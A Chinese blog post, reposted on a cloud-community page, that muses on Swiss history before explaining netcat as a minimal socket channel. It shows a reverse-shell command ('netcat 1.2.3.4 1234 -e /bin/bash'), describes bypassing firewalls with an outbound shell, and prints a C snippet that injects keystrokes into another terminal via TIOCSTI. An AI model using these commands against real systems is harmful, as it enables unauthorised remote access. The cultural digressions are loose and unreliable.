網路工具的瑞士軍刀netcat

來源:互聯網
上載者:User

這是一個聒噪的夜晚,如果要給出個原因,可能是因為雖然我覺得西班牙不純粹,但是怎麼也不至於幹為人家搭檯面自己不唱戲的角色吧..結束以後,我覺得該玩一下素有網路瑞士軍刀之稱謂的netcat了。雖然瑞士軍刀和netcat除了在小而精方面之外並沒有必然的聯絡,但是我還是想扯一通我所瞭解的瑞士,部落格嘛,不是論文,不是測試報告,發散一點沒有問題,並且,我覺得將來,跨界將是一個必然的趨勢,擁有跨界的能力也是一個必然的優勢。
       瑞士是一個沒有曆史的國家,它完全就是1848年的政治妥協的結果,這也說明了為什麼即便是納粹德國也認可它永久中立國的地位,但是並不意味著生活在這片土地的民族沒有曆史,自凱撒時代以遠,這裡就生活著自由的民族,羅馬化時代,它處在高盧和平氛圍之下自我發展,之後它的曆史就是一部融合,分離,抗爭與中立的曆史了,但是不可否認的是,這片土地以及這片土地上的人們在紛亂的中世紀大領主,國王,神羅皇帝,教皇,主教,自治市...之間的激烈混戰中存活了下來,並沒有變成廢墟,直到現在,這裡依舊是實際上最富裕的地區之一,看看地圖就知道,和比利時,荷蘭不同,瑞士處在一個大國的包圍圈中,法國,德國,意大利,奧地利四強構成了瑞士的鄰國。從它的語言上可以看出來它的曆史,德語,法語,意大利語(為什麼沒有奧地利語呢?因為奧地利大部分人說德語,神羅後遺症),這種地位正恰恰符合歐洲均勢原則,所以瑞士反而可以毫髮未損地作為中立國躲過N次浩劫,正是歐洲均勢原則,為瑞士這樣的國家創造了一個穩定的外部環境,它可以將設計精細化,可以不為外部壓力而妥協,瑞士軍刀就是在這種環境下打造的,當然,還有手錶。但是如果再來點別的什麼就更夠味兒了。
       什麼呢?那就是北歐基因。我要是說是北歐基因促成了Linux,你信嗎?但不管怎樣,北歐基因確實起了作用。北歐人,一個純粹的海洋民族的後裔,一個和羅馬帝國無關的民族的後裔,掙脫了歐洲傳統的羈絆,遠離了曆史遺留的紛爭,他們生活在一個童話和神話的世界,駕馭著深不可測的海洋,自由搖擺著靈活和自由以及規則的原始衝動,這也許是海洋民族的最大特質。
       瑞士軍刀,一個帶有北歐基因的超級小工具,符合其外在自洽內部發散的哲學,怎麼形容它的優美都不過分,北歐的基因表現型,加上小而精的追求,正是這種特質給瑞士軍刀營造了和Linux相同的氛圍......當然物盡所用並不意味著它是萬能的,你不能指望用它來割斷起重機的鋼絲繩,也不要幻想它能撬起一輛卡車,事實上,這些功能的缺失卻正是瑞士軍刀的優美之處,即它不是大而全,而是小而精,有時候,小而精的哲學確實能取勝。評價一個工具的標準並不是它能做什麼,而是它能多麼簡單地做到它聲稱可以做的事。手裡拿著一個瑞士軍刀,你可以省去帶很多東西,事實上任何小工具都可以內建其中,比如溫度計,指南針,剪刀,起子,螺絲刀,隨身碟,電錶,牙籤,繞線圈...設計的精妙之處在於,如何把這些東西放在一個有限的空間中,以及如何不被人們誤用這些功能,簡單的方式就是每個小工具只完美實現一個功能。好吧,這就是瑞士軍刀的全部,下面就是netcat了。
       netcat,很小很小,並且是真的小,而不是表現的小,它不像Linux核心那樣,有人聲稱它可以被裁減到不到xk,但是你知道這個裁減的人要付出多大的心血嗎?如果換一個剛畢業不久辛苦求得一份工作的人來裁減,他可能只是大學期間看過一些代碼,那他要加多少班啊。好東西不在於它能被裁到多小,而是在於它真的不能再小了。netcat能小到什麼程度呢?實際上它僅僅提供了一個socket IO通道而已,但別看它內建的這麼小的功能集合,甚至都不能稱之為集合,它卻把擴充的範圍提升到了你的想象力所及的範圍,對於不善于思考的人來講,它也許只是一個telnet一樣的程式,但是對於善于思考的人來講,它可以構建一個安全的遠程shell。你想過用它來構建一個SSL通道嗎?
       在開始我的探索之前,首先簡要概覽一下可以從網上搜到的netcat的功能,我這裡就不再重複了,它的功能點包括但不限於:探測連接埠是否開啟,連接埠掃描,遠程拷貝檔案,遠程拷貝目錄,加密傳輸資料,遠程執行shell,反向遠程shell...為什麼如此小的netcat能完成這麼多的功能呢?
       原因在於,它只提供了最小集,即一個IO通道而已,至於說如何構建資料,那不是它的職責,netcat並不假設資料的任何格式,對資料沒有任何約束,這一點和telnet不同,雖然telnet也是一個稍微通用些的TCP測試程式,但是對於資料轉送它有很多格式規定和假設,畢竟它最開始就是為遠程登入設計的,事實上上述的功能幾乎都不是netcat完成的,netcat只是把資料轉送到對端而已,僅此而已。這是個創舉!試想,到底是誰規定一個遠端telnet 23或者ssh必須是TCP的用戶端主動發起串連TCP服務端呢?即到底憑什麼sshd要運行在TCP服務端呢?事實上,沒有人規定,只是一個遠程登入而已,但就是這個實現上的預設行為,導致了很多遠程登入無法進行,因為這些遠程登入是從外網到內網的,而很多防火牆都不允許從外到內的主動訪問。使用netcat可以做到這一點,在內網運行一個netcat用戶端,在外網運行netcat服務端,然後讓/bin/bash覆蓋掉netcat即可,這就是創舉所在。我來說下why。
       如果你執行一個netcat -e $pro,那麼在串連成功後,你以為netcat會像大多數程式一樣調用fork/exec來執行pro嗎?很多人都會這麼認為,因為這是UNIX傳統的標準做法,但是netcat沒有這麼做,而是直接在當前的netcat進程exec一個pro,這太猛了,當前的netcat就此消失被pro覆蓋,那麼接下來怎麼辦?誰來進行主控?事實上,netcat就此就把控制權完全交給了pro,在交接之前,把STDIN,STDOUT,STDERR重新導向到自己的socket,僅此而已,netcat留下的就是一個socket IO通道,接下來的pro程式的STDIN,STDOUT,STDERR就是socket了,除此之外,netcat沒有留下任何痕迹,在執行netcat 1.2.3.4 1234 -e /bin/bash的時候,言外之意就好像在執行/bin/bash socketstdin socketstdout...只可惜UNIX哲學不允許/bin/bash這樣的程式和socket有任何關聯,那麼只好利用另外一個小程式和它組合從而在網路上類比本地IO了,netcat在-e參數下除了幹這個,沒有任何毒副作用。如果你不想完全將STDIN,STDOUT,STDERR都重新導向,比如你只想重新導向STDIN,那麼你就可以將|,>,<等符號和netcat組合,比如netcat -l -p 1234 <./transfile,cat transfile2 |netcat 127.0.0.1 2234等,在這種情況下,netcat本身還在,並沒有在-e參數下那樣消失,但是它除了做IO之外,什麼都不會多做。瑞士軍刀般的多樣化功能就是這麼來的,是的,一切都在於你的想象力,你再也不能說,這個功能或者那個功能netcat沒有提供,不能這樣說,應該說你自己沒有想到它能怎麼用。如果讓我寫netcat的手冊,我就寫一句話:它提供且僅僅提供一個TCP或者UDP網路通道,它能實現所有使用TCP或者UDP協議的的網路功能。
       我想實現一個遠程執行命令的機制,不想編程,也不想用ssh,怎麼辦呢?使用netcat很好辦,首先它可以實現一個DH金鑰交換,然後加密要傳輸的資料,然後解密,即興建立一個shell,執行命令後返回結果,加密返回,這些都不在話下。如果你想遠程獲得一個加密的shell,就需要做一些工作了,要麼你實現一個自環管道,即命令序列的最後一個的標準輸出定向到第一個命令的標準輸入,即netcat 1.2.3.4 1234|decryto|/bin/bash|encryto@,最後的@意味著encryto的標準輸出定向到netcat的標準輸入,即socket,如果不想這麼做,那就你就用下面的代碼序列劫持任何一個已經處在tty上啟動並執行shell然後執行命令後捕獲傳回值返回:

int fd = open("/dev/pts/0", O_RDWR);ioctl(fd,   TIOCSTI,   "l ");ioctl(fd,   TIOCSTI,   "s ");ioctl(fd,   TIOCSTI,   "\n ");
但是不管你怎麼做,千萬不要修改netcat,如果你真的想修改它,那還不如自己寫一個滿足自己需求的呢,因為netcat沒什麼好改的,你就把它當成下面的程式即可:
socket;listenaccept //注意,沒有多處理機制loop:read;write;loop;
記住,用已有的小工具構建一個大功能是一種藝術,netcat本身不是瑞士軍刀,它更像瑞士軍刀的刀柄和刀鞘,可以容納幾乎所有的工具,小即是多,關鍵在包容,大的包容性,自然約束是最少的。netcat完全符合了UNIX的哲學。
       在網路編程工具上有沒有瑞士軍刀呢?我認為有,那就是OpenSSL的BIO機制,它抽象了IO過程,和netcat重新導向了IO過程類似。如果說netcat在網路環境類比了本機環境的話,那麼BIO則可以在本機類比網路環境,就OpenVPN而言,資料是直接寫到BIO的,而不是直接寫到socket的,這個和netcat的過程恰恰相反,在沒有網路的環境下,想要調試網路程式,那麼BIO就是利器了。
       早上六點多,西班牙已經輸了一段時間,我本不是狂熱的球迷,就是跟下風而已,據說明天的意大利VS英格蘭會很精彩。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.